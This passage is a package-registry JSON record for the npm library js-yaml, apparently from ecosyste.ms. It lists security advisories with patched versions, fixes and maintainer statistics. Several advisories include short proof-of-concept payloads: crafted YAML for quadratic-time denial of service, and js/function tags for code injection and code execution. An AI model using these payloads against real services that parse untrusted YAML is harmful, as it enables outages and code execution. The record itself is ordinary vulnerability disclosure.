cases.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T21:19:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m","https://nvd.nist.gov/vuln/detail/CVE-2026-59869","https://github.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7","https://github.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4","https://github.com/nodeca/js-yaml/releases/tag/3.15.0","https://github.com/nodeca/js-yaml/releases/tag/4.3.0","https://github.com/advisories/GHSA-52cp-r559-cp3m"],"source_kind":"github","identifiers":["GHSA-52cp-r559-cp3m","CVE-2026-59869"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.057Z","updated_at":"2026-09-22T06:01:21.634Z","epss_percentage":0.00544,"epss_percentile":0.44356,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01MmNwLXI1NTktY3Azbc4ABcP-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01MmNwLXI1NTktY3Azbc4ABcP-","packages":[{"ecosystem":"npm","package_name":"js-yaml","versions":[{"first_patched_version":"4.3.0","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.3.0"},{"first_patched_version":"3.15.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.15.0"}],"purl":"pkg:npm/js-yaml"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01MmNwLXI1NTktY3Azbc4ABcP-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03MjRnLW14cmctNHF2bc4ABcP9","url":"https://github.com/advisories/GHSA-724g-mxrg-4qvm","title":"js-yaml: Quadratic-complexity (O(n^2)) DoS via !!omap tag in YAML11_SCHEMA","description":"### Summary\n`js-yaml` v5.x introduces `YAML11_SCHEMA` support with the `!!omap` (ordered map) tag. The `omapTag.addItem()` function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses `yaml.load()` with `{ schema: yaml.YAML11_SCHEMA }`.\n\n### Details\nIn `src/tag/sequence/omap.ts` (compiled: `dist/js-yaml.cjs.js:510-525`):\n```js\nvar omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {\n    create: () =\u003e [],\n    addItem: (container, item) =\u003e {\n        // ...\n        for (const existing of container)   // O(n) per insertion!\n            if (hasOwnProperty(existing, itemKeys[0]))\n                return 'cannot resolve an ordered map item';\n        container.push(object);             // n insertions → O(n^2) total\n        return '';\n    }\n});\n```\nFor a document with `n` unique entries, insertion i scans i−1 existing entries, yielding 1+2+…+n = **O(n²)** total work.\n\n### PoC (runtime-confirmed on v5.2.0)\n```js\nconst yaml = require('js-yaml');\nfunction buildOmapPayload(n) {\n  let p = '!!omap\\n';\n  for (let i = 0; i \u003c n; i++) p += '- key' + i + ': val' + i + '\\n';\n  return p;\n}\n// Timing results on v5.2.0:\n// n=1000:  9ms\n// n=5000:  73ms  (5x n → 8x time)\n// n=10000: 255ms (2x n → 3.5x time — supralinear)\n// n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed)\n// n=50000: 10613ms          ← blocks event loop for \u003e10 seconds\nyaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA });\n```\n\n### Impact\nAny application that parses untrusted YAML using `yaml.load(input, { schema: yaml.YAML11_SCHEMA })` is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).\n\nThis affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including `!!omap`. The 4.x series is unaffected (no `YAML11_SCHEMA` export).\n\n### Fix\nReplace the O(n) linear scan in `addItem` with an O(1) `Set`-based lookup:\n```js\nvar omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {\n    create: () =\u003e ({ list: [], seen: new Set() }),\n    addItem: (state, item) =\u003e {\n        const key = Object.keys(item)[0];\n        if (state.seen.has(key)) return 'duplicate omap key';\n        state.seen.add(key);\n        state.list.push(item);\n        return '';\n    },\n    resolve: (state) =\u003e state.list\n});\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T21:18:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/nodeca/js-yaml/security/advisories/GHSA-724g-mxrg-4qvm","https://nvd.nist.gov/vuln/detail/CVE-2026-59870","https://github.com/nodeca/js-yaml/commit/39f3211a2f01b3c6982710cf21434ab7060acefe","https://github.com/nodeca/js-yaml/releases/tag/5.2.1","https://github.com/advisories/GHSA-724g-mxrg-4qvm"],"source_kind":"github","identifiers":["GHSA-724g-mxrg-4qvm","CVE-2026-59870"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.057Z","updated_at":"2026-09-14T14:01:25.491Z","epss_percentage":0.00644,"epss_percentile":0.48576,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03MjRnLW14cmctNHF2bc4ABcP9","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03MjRnLW14cmctNHF2bc4ABcP9","packages":[{"ecosystem":"npm","package_name":"js-yaml","versions":[{"first_patched_version":"5.2.1","vulnerable_version_range":"\u003e= 5.0.0, \u003c= 5.2.0"}],"purl":"pkg:npm/js-yaml"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03MjRnLW14cmctNHF2bc4ABcP9/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oNjdwLTU0aHEtcnA2OM4ABYrN","url":"https://github.com/advisories/GHSA-h67p-54hq-rp68","title":"JS-YAML: Quadratic-complexity DoS in merge key handling via repeated aliases","description":"### Summary\nA crafted YAML document can trigger algorithmic CPU exhaustion in `js-yaml` merge-key processing (`\u003c\u003c`) by repeating the same alias many times in a merge sequence.  \nThis causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service.\n\n### Details\nThe issue is in merge handling inside `lib/loader.js`:\n\n- `storeMappingPair(...)` iterates every element of a merge sequence when key tag is `tag:yaml.org,2002:merge`.\n- For each element, it calls `mergeMappings(...)`.\n- `mergeMappings(...)` computes `Object.keys(source)` and performs `_hasOwnProperty.call(destination, key)` checks for each key.\n\nWhen input is of the form:\n\na: \u0026a {k0:0, k1:0, ..., kK:0}\nb: {\u003c\u003c: [*a, *a, *a, ... repeated M times ...]}\nall *a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time.\nResulting work is O(K * M), while input size is O(K + M), giving quadratic scaling as payload grows.\nRelevant code path:\nlib/loader.js in storeMappingPair(...) merge branch (keyTag === 'tag:yaml.org,2002:merge')\nlib/loader.js mergeMappings(...)\n\n\n### Root cause\nFile:       lib/loader.js\nFunction:   storeMappingPair(state, _result, overridableKeys, keyTag, keyNode,\n                             valueNode, startLine, startLineStart, startPos)\nLines:      ~359-366\n\n    if (keyTag === 'tag:yaml.org,2002:merge') {\n      if (Array.isArray(valueNode)) {\n        for (index = 0, quantity = valueNode.length; index \u003c quantity; index += 1) {\n          mergeMappings(state, _result, valueNode[index], overridableKeys);\n        }\n      } else {\n        mergeMappings(state, _result, valueNode, overridableKeys);\n      }\n    }\n\nWhen the merge value is a sequence (YAML 1.1 \u003c\u003c: [ *a, *a, ... ]), each element\nis handed to mergeMappings() without deduplication. mergeMappings() then does\n\n    sourceKeys = Object.keys(source);\n    for (index = 0; index \u003c sourceKeys.length; index += 1) {\n      key = sourceKeys[index];\n      if (!_hasOwnProperty.call(destination, key)) {\n        setProperty(destination, key, source[key]);\n        overridableKeys[key] = true;\n      }\n    }\n\nEvery alias reference in the sequence resolves (by design) to the SAME object\nvia state.anchorMap. After the first merge, every subsequent merge of that same\nreference is a pure no-op semantically, but still performs:\n\n  * one Object.keys(source) call (O(K))\n  * K _hasOwnProperty.call checks on the destination\n\nTotal: M * K hasOwnProperty checks + M Object.keys allocations, while the final\nobject and all observable side effects are identical to a single merge.\n\nYAML semantics for `\u003c\u003c:` are idempotent and commutative over duplicate sources,\nso collapsing duplicates preserves behavior exactly; this isn't a spec trade-off.\n\n\n### PoC\nEnvironment:\njs-yaml version: 4.1.1\nNode.js: v24.5.0\nPlatform: arm64 macOS (reproduced consistently)\nReproduction script:\nCreate many keys in one anchored map (\u0026a).\nMerge that same alias repeatedly via \u003c\u003c: [*a, *a, ...].\nMeasure parse time and compare with control payload using single merge (\u003c\u003c: *a).\nObserved repeated runs (same machine):\nK=M=1000, input 9,909 bytes: ~33–36 ms\nK=M=2000, input 20,909 bytes: ~121–123 ms\nK=M=4000, input 42,909 bytes: ~524–537 ms\nK=M=6000, input 64,909 bytes: ~1,608–1,829 ms\nK=M=8000, input 86,909 bytes: ~3,395–3,565 ms\nControl (single merge, similar key counts):\nK=2000: ~1–2 ms\nK=4000: ~3 ms\nK=8000: ~5 ms\nAlso verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation.\n\n\n### Impact\nThis is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity).\nAny service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability.\n\n### Suggested fix:\nDedupe the merge source list by reference before invoking mergeMappings. Any of\nthe following are minimal and preserve YAML 1.1 merge semantics:\n\ndedupe in storeMappingPair:\n\n    if (keyTag === 'tag:yaml.org,2002:merge') {\n      if (Array.isArray(valueNode)) {\n        var seen = new Set();\n        for (index = 0, quantity = valueNode.length; index \u003c quantity; index += 1) {\n          var src = valueNode[index];\n          if (seen.has(src)) continue;   // idempotent; skip redundant alias\n          seen.add(src);\n          mergeMappings(state, _result, src, overridableKeys);\n        }\n      } else {\n        mergeMappings(state, _result, valueNode, overridableKeys);\n      }\n    }","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-15T17:15:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/nodeca/js-yaml/security/advisories/GHSA-h67p-54hq-rp68","https://nvd.nist.gov/vuln/detail/CVE-2026-53550","https://github.com/advisories/GHSA-h67p-54hq-rp68"],"source_kind":"github","identifiers":["GHSA-h67p-54hq-rp68","CVE-2026-53550"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T18:00:08.065Z","updated_at":"2026-09-22T06:01:43.784Z","epss_percentage":0.00386,"epss_percentile":0.32428,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNjdwLTU0aHEtcnA2OM4ABYrN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oNjdwLTU0aHEtcnA2OM4ABYrN","packages":[{"ecosystem":"npm","package_name":"js-yaml","versions":[{"first_patched_version":"3.15.0","vulnerable_version_range":"\u003c 3.15.0"},{"first_patched_version":"4.2.0","vulnerable_version_range":"\u003e= 4.0.0, \u003c= 4.1.1"}],"purl":"pkg:npm/js-yaml"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNjdwLTU0aHEtcnA2OM4ABYrN/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1taDI5LTVoMzctZnY4bc4ABOjC","url":"https://github.com/advisories/GHSA-mh29-5h37-fv8m","title":"js-yaml has prototype pollution in merge (\u003c\u003c)","description":"### Impact\n\nIn js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (`__proto__`). All users who parse untrusted yaml documents may be impacted.\n\n### Patches\n\nProblem is patched in js-yaml 4.1.1 and 3.14.2.\n\n### Workarounds\n\nYou can protect against this kind of attack on the server by using `node --disable-proto=delete` or `deno` (in Deno, pollution protection is on by default).\n\n### References\n\nhttps://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-11-14T14:29:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/nodeca/js-yaml/security/advisories/GHSA-mh29-5h37-fv8m","https://nvd.nist.gov/vuln/detail/CVE-2025-64718","https://github.com/nodeca/js-yaml/commit/383665ff4248ec2192d1274e934462bb30426879","https://github.com/nodeca/js-yaml/commit/5278870a17454fe8621dbd8c445c412529525266","https://github.com/nodeca/js-yaml/issues/730#issuecomment-3549635876","https://github.com/advisories/GHSA-mh29-5h37-fv8m"],"source_kind":"github","identifiers":["GHSA-mh29-5h37-fv8m","CVE-2025-64718"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-11-14T15:00:09.130Z","updated_at":"2026-09-19T09:07:00.335Z","epss_percentage":0.00408,"epss_percentile":0.3456,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1taDI5LTVoMzctZnY4bc4ABOjC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1taDI5LTVoMzctZnY4bc4ABOjC","packages":[{"ecosystem":"npm","package_name":"js-yaml","versions":[{"first_patched_version":"3.14.2","vulnerable_version_range":"\u003c 3.14.2"},{"first_patched_version":"4.1.1","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.1.1"}],"purl":"pkg:npm/js-yaml"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1taDI5LTVoMzctZnY4bc4ABOjC/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTJwcjYtNzZ2Zi03NTQ2","url":"https://github.com/advisories/GHSA-2pr6-76vf-7546","title":"Denial of Service in js-yaml","description":"Versions of `js-yaml` prior to 3.13.0 are vulnerable to Denial of Service. By parsing a carefully-crafted YAML file, the node process stalls and may exhaust system resources leading to a Denial of Service.\n\n\n## Recommendation\n\nUpgrade to version 3.13.0.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2019-06-05T14:35:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/nodeca/js-yaml/issues/475","https://github.com/nodeca/js-yaml/commit/a567ef3c6e61eb319f0bfc2671d91061afb01235","https://www.npmjs.com/advisories/788","https://www.npmjs.com/advisories/788/versions","https://snyk.io/vuln/SNYK-JS-JSYAML-173999","https://github.com/advisories/GHSA-2pr6-76vf-7546"],"source_kind":"github","identifiers":["GHSA-2pr6-76vf-7546"],"repository_url":"https://github.com/nodeca/js-yaml","blast_radius":0.0,"created_at":"2022-12-21T16:13:29.691Z","updated_at":"2026-09-22T06:16:46.690Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTJwcjYtNzZ2Zi03NTQ2","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTJwcjYtNzZ2Zi03NTQ2","packages":[{"ecosystem":"npm","package_name":"js-yaml","versions":[{"first_patched_version":"3.13.0","vulnerable_version_range":"\u003c 3.13.0"}],"purl":"pkg:npm/js-yaml"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTJwcjYtNzZ2Zi03NTQ2/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLThqOGMtN2pmaC1oNmh4","url":"https://github.com/advisories/GHSA-8j8c-7jfh-h6hx","title":"Code Injection in js-yaml","description":"Versions of `js-yaml` prior to 3.13.1 are vulnerable to Code Injection. The `load()` function may execute arbitrary code injected through a malicious YAML file. Objects that have `toString` as key, JavaScript code as value and are used as explicit mapping keys allow attackers to execute the supplied code through the `load()` function. The `safeLoad()` function is unaffected.\n\nAn example payload is \n`{ toString: !\u003ctag:yaml.org,2002:js/function\u003e 'function (){return Date.now()}' } : 1` \nwhich returns the object \n{\n  \"1553107949161\": 1\n}\n\n\n## Recommendation\n\nUpgrade to version 3.13.1.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2019-06-04T20:14:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/nodeca/js-yaml/pull/480","https://www.npmjs.com/advisories/813","https://github.com/nodeca/js-yaml/pull/480/commits/e18afbf1edcafb7add2c4c7b22abc8d6ebc2fa61","https://github.com/advisories/GHSA-8j8c-7jfh-h6hx"],"source_kind":"github","identifiers":["GHSA-8j8c-7jfh-h6hx"],"repository_url":"https://github.com/nodeca/js-yaml","blast_radius":0.0,"created_at":"2022-12-21T16:13:29.747Z","updated_at":"2026-09-15T18:10:42.216Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLThqOGMtN2pmaC1oNmh4","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLThqOGMtN2pmaC1oNmh4","packages":[{"ecosystem":"npm","package_name":"js-yaml","versions":[{"first_patched_version":"3.13.1","vulnerable_version_range":"\u003c 3.13.1"}],"purl":"pkg:npm/js-yaml"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLThqOGMtN2pmaC1oNmh4/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXh4dnctNDVycC0zbWoy","url":"https://github.com/advisories/GHSA-xxvw-45rp-3mj2","title":"Deserialization Code Execution in js-yaml","description":"Versions 2.0.4 and earlier of `js-yaml` are affected by a code execution vulnerability in the YAML deserializer.\n\n## Proof of Concept\n```\nconst yaml = require('js-yaml');\n\nconst x = `test: !!js/function \u003e\nfunction f() { \nconsole.log(1); \n}();`\n\nyaml.load(x);\n```\n\n\n## Recommendation\n\nUpdate js-yaml to version 2.0.5 or later, and ensure that all instances where the `.load()` method is called are updated to use `.safeLoad()` instead.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2017-10-24T18:33:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2013-4660","https://github.com/advisories/GHSA-xxvw-45rp-3mj2","https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/","https://www.npmjs.com/advisories/16"],"source_kind":"github","identifiers":["GHSA-xxvw-45rp-3mj2","CVE-2013-4660"],"repository_url":null,"blast_radius":0.0,"created_at":"2022-12-21T16:13:38.683Z","updated_at":"2026-09-22T06:16:58.166Z","epss_percentage":0.17321,"epss_percentile":0.96807,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXh4dnctNDVycC0zbWoy","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXh4dnctNDVycC0zbWoy","packages":[{"ecosystem":"npm","package_name":"js-yaml","versions":[{"first_patched_version":"2.0.5","vulnerable_version_range":"\u003c 2.0.5"}],"purl":"pkg:npm/js-yaml"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXh4dnctNDVycC0zbWoy/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/js-yaml","docker_dependents_count":37484,"docker_downloads_count":10887743364,"usage_url":"https://repos.ecosyste.ms/usage/npm/js-yaml","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/js-yaml/dependencies","status":null,"funding_links":["https://github.com/sponsors/puzrin","https://github.com/sponsors/nodeca"],"critical":true,"issue_metadata":{"last_synced_at":"2026-09-21T06:19:08.264Z","issues_count":139,"pull_requests_count":55,"avg_time_to_close_issue":17998884.2,"avg_time_to_close_pull_request":6473407.611111111,"issues_closed_count":100,"pull_requests_closed_count":36,"pull_request_authors_count":43,"issue_authors_count":127,"avg_comments_per_issue":2.6258992805755397,"avg_comments_per_pull_request":1.0,"merged_pull_requests_count":10,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":29,"past_year_pull_requests_count":26,"past_year_avg_time_to_close_issue":392685.4166666667,"past_year_avg_time_to_close_pull_request":218313.47619047618,"past_year_issues_closed_count":24,"past_year_pull_requests_closed_count":21,"past_year_pull_request_authors_count":17,"past_year_issue_authors_count":25,"past_year_avg_comments_per_issue":2.413793103448276,"past_year_avg_comments_per_pull_request":1.3461538461538463,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":7,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/issues","maintainers":[{"login":"puzrin","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/puzrin"},{"login":"dervus","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dervus"},{"login":"rlidwka","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/rlidwka"}],"active_maintainers":[{"login":"puzrin","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/puzrin"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/js-yaml/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/js-yaml/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/js-yaml/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/js-yaml/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/js-yaml/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/js-yaml/codemeta","maintainers":[{"uuid":"vitaly","login":"vitaly","name":null,"email":"vitaly@rcopen.com","url":null,"packages_count":64,"html_url":"https://www.npmjs.com/~vitaly","role":null,"created_at":"2022-11-10T11:30:22.586Z","updated_at":"2022-11-10T11:30:22.586Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/vitaly/packages"}]}